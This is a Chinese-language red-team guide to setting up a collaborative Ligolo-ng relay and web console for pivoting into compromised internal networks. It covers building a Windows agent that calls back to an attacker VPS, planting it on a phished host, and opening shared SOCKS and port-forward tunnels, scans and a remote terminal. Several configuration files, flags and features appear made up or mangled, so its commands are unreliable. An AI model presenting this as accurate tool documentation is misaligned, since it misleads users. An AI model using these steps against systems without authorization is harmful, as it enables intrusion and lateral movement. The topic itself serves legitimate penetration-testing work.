Ligolo-ng Web界面部署与多用户协作内网穿透实战指南 1. 项目概述为什么我们需要一个协作式内网穿透工具在渗透测试或红队评估项目中一个经典且棘手的场景是当你通过一个初始立足点比如一个Web Shell进入目标内网后如何将内网的流量稳定、隐蔽地转发出来并且能让团队里的多个成员同时操作、实时看到进展传统的方法比如用SSH做动态端口转发ssh -D或者部署一个复杂的C2框架往往存在单点故障、配置繁琐、团队协作不便等问题。这时候Ligolo-ng的出现就像给团队作战配备了一个共享的战术地图和指挥系统。Ligolo-ng本身是一个用Go语言编写的、极其轻量且高效的反向隧道工具。它的核心思想是“反向连接”由内网的代理agent主动连接到外网的控制端proxy从而轻松绕过出站限制和防火墙。而我们今天要深入探讨的是其Web界面。这不仅仅是一个“可视化”的壳它彻底改变了团队协作的模式。想象一下你不再需要通过共享终端、复制粘贴命令来同步状态所有团队成员通过浏览器登录同一个Web界面就能实时看到在线的代理、共享的隧道、谁正在执行什么操作甚至能协同进行端口扫描或漏洞利用。这对于需要紧密配合的攻防演练或安全评估任务来说效率的提升是指数级的。结合最近的热搜词比如“debian 部署aria2 和web界面”这反映了大家对通过Web界面进行集中管理和监控的强烈需求。无论是下载管理还是内网穿透一个直观、可协作的Web控制台都能极大降低操作门槛和团队沟通成本。而“linux 系统 配 ip 白名单 通过web界面”则凸显了在复杂网络环境中精细化管理访问控制的需求Ligolo-ng Web界面同样提供了会话管理和访问控制的基础。接下来我将从一个多次在真实项目中部署和使用Ligolo-ng的从业者角度为你拆解其Web界面的完整使用指南重点聚焦于多用户协作与实时监控的实现细节和避坑经验。2. 核心架构与部署准备在深入Web界面的按钮和菜单之前我们必须先理解Ligolo-ng整个系统是如何运转的。这决定了我们部署的方式和后续协作的流畅度。2.1 系统组件与数据流解析Ligolo-ng体系包含三个核心角色理解它们之间的关系是成功部署的关键代理Agent这是需要植入到目标内网机器上的轻量级客户端。它通常是一个静态编译的、体积很小的可执行文件针对不同操作系统有不同版本。它的唯一使命就是寻找网络出口并主动连接到我们预先设定好的中继服务器Relay。它不直接与Web界面通信。中继服务器Relay这是整个架构的枢纽运行在攻击者团队可控的服务器上通常是一台拥有公网IP的VPS。它有两个核心作用一是接受来自内网Agent的入站连接二是运行Web界面服务为团队成员提供操作入口。所有数据转发和指令下达都通过它完成。Web界面Web UI作为Relay服务器的一部分提供服务它是一个基于浏览器的控制台。团队成员通过浏览器访问Relay服务器的特定端口默认是8080登录后即可管理所有连接到该Relay的Agent。数据流向是这样的内网Agent - 出站连接到公网Relay - 团队成员通过浏览器访问Relay的Web UI进行操作 - 操作指令通过Relay下发到Agent - Agent执行并将结果返回给Relay - Relay将结果推送并展示在所有团队成员的Web UI上。这是一个典型的星型拓扑Relay是绝对的中心。注意很多新手会混淆试图让Agent直接连接Web界面这是错误的。Agent只连接Relay服务器默认端口11601/tcpWeb界面是Relay服务器提供的一个人类可交互的接口。2.2 服务器端部署实战我们选择一台Debian 12的VPS作为中继服务器。选择Debian是因为其稳定性和软件包管理方便当然Ubuntu、CentOS等也完全可行。第一步下载与安装Relay访问Ligolo-ng的GitHub Release页面找到最新版本的ligolo-ng_relay适用于Linux AMD64的压缩包。我们直接在服务器上操作# 更新系统并安装必要工具 sudo apt update sudo apt upgrade -y sudo apt install wget unzip -y # 创建专用目录并进入 sudo mkdir -p /opt/ligolo-ng cd /opt/ligolo-ng # 下载最新版Relay请替换URL中的版本号 wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.1/ligolo-ng_relay_0.8.1_linux_amd64.zip # 解压 unzip ligolo-ng_relay_0.8.1_linux_amd64.zip # 授予执行权限 chmod x ligolo-ng_relay第二步生成证书与配置文件Ligolo-ng使用TLS加密所有通信包括Agent与Relay之间以及Web界面的访问。我们需要生成自签名证书。# 生成私钥和证书 openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj /CUS/STState/LCity/OOrganization/CNligolo-relay # 查看生成的证书信息可选 openssl x509 -in cert.pem -noout -text接下来创建Relay的配置文件relay.yaml。这个文件是协作功能的核心。relay: # Relay监听Agent连接的地址和端口 listen_addr: 0.0.0.0:11601 # 生成的证书路径 tls_key: /opt/ligolo-ng/key.pem tls_cert: /opt/ligolo-ng/cert.pem web: # Web界面监听的地址和端口 listen_addr: 0.0.0.0:8080 # 设置一个强密码用于首次登录后创建管理员用户 initial_admin_password: YourStrong!InitPass123 # 会话密钥用于加密Cookie务必更换 session_key: generate-a-32-byte-random-string-here! # 是否启用注册功能。在团队协作中建议先由管理员创建用户然后关闭注册。 enable_registration: false log: level: info file: /opt/ligolo-ng/ligolo.log实操心得session_key必须是一个足够长且随机的字符串你可以用openssl rand -base64 32命令生成。initial_admin_password只在第一次登录时使用登录后系统会强制你创建第一个管理员账号并修改密码之后这个配置项就失效了。务必在创建首个管理员后将此密码从配置文件中删除或注释掉以防泄露。第三步配置系统服务与防火墙为了让Relay在后台稳定运行并开机自启我们创建Systemd服务。sudo nano /etc/systemd/system/ligolo-relay.service写入以下内容[Unit] DescriptionLigolo-ng Relay Server Afternetwork.target [Service] Typesimple Userroot WorkingDirectory/opt/ligolo-ng ExecStart/opt/ligolo-ng/ligolo-ng_relay -config /opt/ligolo-ng/relay.yaml Restarton-failure RestartSec5 [Install] WantedBymulti-user.target然后启动服务并设置防火墙规则# 重载Systemd配置 sudo systemctl daemon-reload # 启动服务 sudo systemctl start ligolo-relay # 设置开机自启 sudo systemctl enable ligolo-relay # 查看服务状态 sudo systemctl status ligolo-relay # 配置防火墙假设使用ufw sudo ufw allow 11601/tcp # Agent连接端口 sudo ufw allow 8080/tcp # Web界面端口 sudo ufw reload此时访问http://你的VPS-IP:8080应该能看到Ligolo-ng的Web登录界面了。3. Web界面深度解析与多用户协作配置成功部署Relay并打开Web界面后真正的协作之旅才刚刚开始。这个界面设计简洁但功能强大我们需要理解每一个模块的用途。3.1 初始登录与用户管理体系首次访问Web界面你会看到一个登录框。使用配置文件中设置的initial_admin_password进行登录。登录后系统会强制你创建第一个用户。这个过程非常重要设置用户名和密码这将成为你的第一个管理员账户。请使用一个强密码。创建会话名称这个会话名会显示在界面上方标识当前是谁在操作。建议使用个人标识如“zhangsan-macbook”。创建成功后你就以管理员身份进入了主界面。此时应立即返回服务器编辑relay.yaml文件将enable_registration: false如果之前是true的话并删除或注释掉initial_admin_password这一行。然后重启服务sudo systemctl restart ligolo-relay。作为管理员点击界面左上角的“设置”齿轮图标进入管理面板。这里核心是“用户”选项卡。创建团队成员账户点击“添加用户”输入用户名、密码并分配角色。角色分为管理员可以管理所有用户、查看所有日志、进行所有操作。操作员可以连接/断开代理、创建隧道、使用工具如nmap但不能管理用户。观察员只能查看在线代理和活动日志不能进行任何操作。适合项目经理或需要了解进度的非技术人员。会话管理在“会话”选项卡中你可以看到所有当前活跃的登录会话用户、IP、登录时间并可以强制注销任何一个会话。这是实现“linux 系统 配 ip 白名单”的一种应用——虽然不是在IP层但可以在会话层进行管理。注意事项建议为每个团队成员创建独立账户避免共享凭证。这不仅能追踪操作责任也能在人员变动时方便地禁用账户。密码策略应遵循团队内部的安全规范。3.2 界面布局与核心功能模块主界面主要分为四个区域顶部状态栏显示当前登录的用户、角色以及你设置的会话名称。右侧有“设置”管理员可见和“注销”按钮。左侧边栏 - 代理列表这是整个界面的核心。所有成功连接到本Relay的Agent都会在这里显示。每个Agent条目会显示其ID、主机名、内部IP地址、操作系统、当前状态绿色为连接正常以及最后一个与之交互的用户。这是实现“实时监控”的关键你一眼就能看到谁在操作哪台机器。主工作区当你在左侧选中一个Agent后主工作区会激活并分为几个标签页信息显示该Agent的详细信息如所有网络接口、网关、DNS服务器等。隧道管理由此Agent创建的网络隧道。你可以在这里添加/删除端口转发或SOCKS代理。工具集成了一些常用工具如Ping、TCP端口扫描等可以直接在目标内网环境中执行。终端一个内置的Web Shell可以直接在目标机器上执行命令。这是一个需要谨慎使用的强大功能。日志显示与该Agent相关的所有操作日志。底部全局日志面板实时滚动显示整个系统的所有活动日志包括用户登录登出、Agent连接断开、隧道创建销毁等。所有有权限的用户都能看到相同的日志实现了操作的完全透明化。多用户协作的直观体现当团队成员A在操作Agent-01时他的会话名如“zhangsan-macbook”会显示在该Agent条目的旁边。团队成员B在自己的浏览器上能实时看到这一变化并且能在底部日志看到A执行的具体操作例如“用户 ‘zhangsan-macbook’ 在代理 ‘win10-internal’ 上创建了隧道 :1080 - 192.168.1.100:1080”。这样B就知道A正在使用那台代理从而避免操作冲突或者可以主动与A沟通协作。4. 实战演练从植入Agent到协同渗透理论讲完了我们通过一个模拟场景串联起整个协作流程。假设目标内网有一台Windows 10机器IP: 172.16.1.50被我们通过钓鱼获取了初始访问。4.1 Agent的生成与植入首先我们需要为Windows目标生成一个Agent。切记不要在Relay服务器上生成Agent然后下载这会在服务器上留下恶意文件痕迹。正确的做法是在你的攻击机比如Kali Linux上生成。在你的攻击机上下载Ligolo-ng工具包找到ligolo-ng_agent生成器。# 在攻击机Kali上操作 # 下载并解压工具包 wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8.1/ligolo-ng_agent_0.8.1_linux_amd64.zip unzip ligolo-ng_agent_0.8.1_linux_amd64.zip chmod x ligolo-ng_agent # 生成Windows可执行文件Agent # -cert 和 -key 参数指向我们之前为Relay生成的证书和私钥文件。 # 我们需要将它们从Relay服务器复制到攻击机使用scp。 # 假设已复制到当前目录生成命令如下 ./ligolo-ng_agent -cert cert.pem -key key.pem -relay 你的VPS-IP:11601 -target windows -output agent.exe这条命令会生成一个名为agent.exe的文件。-cert和-key参数是确保Agent能验证Relay服务器身份的关键避免了中间人攻击。-relay参数指定了Agent要连接的目标。接下来通过你的初始漏洞利用点将agent.exe上传到目标Windows机器上并执行。方法有很多例如通过Web Shell上传。利用SMB、FTP等协议。在已有命令执行权限的情况下使用PowerShell远程下载。执行后如果网络连通你的Relay服务器Web界面的左侧边栏几乎会立刻出现一个新的Agent条目显示主机名、内网IP如172.16.1.50和Windows图标。4.2 创建隧道与团队共享现在团队成员张三zhangsan首先发现了这个新上线的Agent。他点击该Agent进入“隧道”标签页。场景一需要访问内网的一个Web服务172.16.1.100:80张三点击“添加隧道”选择类型为“TCP”。他设置监听端口本地端口8888这是一个在Relay服务器上打开的端口目标主机172.16.1.100目标端口80点击创建。此时任何连接到你的VPS-IP:8888的流量都会被Relay服务器通过这个Agent转发到内网的172.16.1.100:80。张三可以在自己的浏览器里访问http://你的VPS-IP:8888来测试这个内网网站。关键协作点来了这个隧道创建后是全局共享的。团队成员李四lisi登录Web界面后不需要任何额外配置他也能直接使用你的VPS-IP:8888这个地址来访问同一个内网服务。底部日志会清晰记录“用户 ‘zhangsan-macbook’ 在代理 ‘WIN10-内部’ 上创建了隧道 :8888 - 172.16.1.100:80”。李四一看就明白这个隧道是谁、为什么创建的。场景二需要建立一个SOCKS5代理进行全局探测张三进入“隧道”标签页点击“添加隧道”选择类型为“SOCKS5”。他设置监听端口为1080并创建。现在团队所有成员都可以在自己的渗透测试工具如Proxychains, Nmap的--proxy选项Burp Suite的Upstream Proxy中配置SOCKS5代理为你的VPS-IP:1080那么他们的所有工具流量都会经由这个Agent进入内网。实操心得给隧道端口命名是个好习惯。虽然Web界面不支持但团队内部可以维护一个简单的共享文档记录8888 - 内部OA系统1080 - 通用SOCKS代理等避免端口冲突和混淆。另外创建大量隧道时注意Relay服务器本身的端口资源避免与现有服务冲突。4.3 利用内置工具进行协同侦察Web界面内置的“工具”标签页虽然功能不如专业工具强大但用于快速侦察和团队同步信息非常方便。假设张三想快速摸一下内网一个网段172.16.1.0/24的存活主机和常见端口。他选中Agent进入“工具”-“扫描”标签。他输入目标172.16.1.0/24选择端口列表例如默认的Top 100端口点击“开始扫描”。扫描任务会在后台运行进度和结果会实时显示在界面上。重点是所有团队成员都能在自己的界面上看到这个扫描任务的状态和实时结果。李四如果也在分析这个内网他就不需要重复扫描可以直接参考张三的扫描结果并可以在此基础上进行更深度的端口探测或漏洞扫描。这避免了重复劳动和网络流量实现了真正的协同。5. 高级技巧、问题排查与安全实践掌握了基本操作后一些高级技巧和踩坑经验能让你和团队用得更顺手、更安全。5.1 性能优化与稳定连接Agent保活与重连Agent默认具备断线重连机制。但在网络不稳定的环境中可以在生成Agent时加上-retry和-retry-interval参数来调整重试策略例如-retry 10 -retry-interval 30s表示断开后最多重试10次每次间隔30秒。Relay服务器资源如果团队规模大、隧道多Relay服务器的网络连接数和带宽可能成为瓶颈。考虑使用配置较高的VPS并监控其网络流量iftop,nethogs和连接数ss -s。对于超大型内网可以考虑部署多个Relay服务器进行负载分担。Web界面响应慢如果Web界面操作卡顿可能是浏览器问题或服务器资源不足。尝试清除浏览器缓存或检查Relay服务器的CPU/内存使用情况。日志级别设置为info而非debug也能减少一些开销。5.2 常见问题与排查实录问题1Agent执行后Web界面看不到上线。这是最常见的问题。请按以下顺序排查检查Relay服务状态sudo systemctl status ligolo-relay确保服务是active (running)。查看日志sudo journalctl -u ligolo-relay -f或/opt/ligolo-ng/ligolo.log看是否有错误信息。检查网络连通性在目标内网机器上尝试用telnet 你的VPS-IP 11601或Test-NetConnection 你的VPS-IP -Port 11601(PowerShell) 测试到Relay服务器11601端口的连通性。如果不通可能是目标机器出站防火墙阻止或者Relay服务器的云服务商安全组/防火墙未放行11601端口。检查证书确保生成Agent时使用的cert.pem和key.pem与Relay服务器配置中使用的是同一对。如果不一致TLS握手会失败。检查Agent命令确认生成Agent的命令中-relay参数后的IP和端口完全正确。问题2能创建隧道但无法连接通目标服务。检查目标服务首先通过Agent的“终端”功能在目标机器上执行netstat -ano | findstr :80(Windows) 或ss -tlnp | grep :80(Linux)确认目标服务如172.16.1.100:80确实在监听且监听地址是0.0.0.0或对应网卡IP而不是127.0.0.1。检查网络路径从Agent所在机器是否能访问目标服务在Agent的“终端”里执行curl http://172.16.1.100:80或Test-NetConnection 172.16.1.100 -Port 80测试。检查隧道配置确认隧道配置的目标IP和端口没有输错。问题3多用户同时操作产生冲突。例如两个用户几乎同时尝试在同一个Agent上创建监听8080端口的隧道。后一个操作会失败。解决方案沟通充分利用底部全局日志和Agent状态栏显示的“最后操作用户”在团队即时通讯工具中同步意图。规范团队内部约定端口使用范围或者由一个人如主攻手主要负责隧道的创建和管理。5.3 安全加固实践Relay服务器安全非默认端口考虑将Web界面的端口从8080改为其他不常见的高端口并在配置文件中修改web.listen_addr。同样Agent连接端口11601也可以更改。反向代理与HTTPS强烈建议在Relay服务器前部署Nginx或Caddy作为反向代理为Web界面配置合法的域名和HTTPS证书Let‘s Encrypt。这可以加密Web通信并隐藏后端服务的直接暴露。在Nginx配置中可以添加HTTP基本认证作为额外保护层。IP白名单在云服务商的安全组或服务器本身的防火墙如ufw上严格限制11601和Web端口或反向代理端口的访问源IP只允许团队成员的办公IP或跳板机IP访问。这就是对“linux 系统 配 ip 白名单”需求的直接响应。证书管理定期更新自签名证书虽然自签名证书没有过期压力但定期更换是好的安全习惯。确保私钥 (key.pem) 的权限设置为600且妥善保管。用户权限最小化严格按照角色分配权限。大多数成员只需“操作员”角色只有团队负责人需要“管理员”角色。临时观察人员只给“观察员”角色。操作审计虽然Web界面有日志但建议同时配置Relay服务器将日志ligolo.log同步到团队的集中日志服务器如ELK Stack进行长期留存和分析满足合规与审计要求。Ligolo-ng的Web界面将原本孤岛式的内网穿透操作转变为了一个可视化、可协作的作战平台。它解决的不仅仅是技术上的连通问题更是团队协作中的信息同步和效率问题。从我个人的使用经验来看在引入这套系统后团队在复杂内网渗透测试中的协同效率和操作透明度得到了质的提升。当然任何工具都有其适用场景Ligolo-ng更适合需要轻量、快速、协作的渗透测试和红队行动对于需要长期、隐蔽、高度定制化的C2场景可能仍需更专业的框架。但无论如何熟练掌握Ligolo-ng及其Web界面无疑是现代安全从业者武器库中一件极具价值的利器。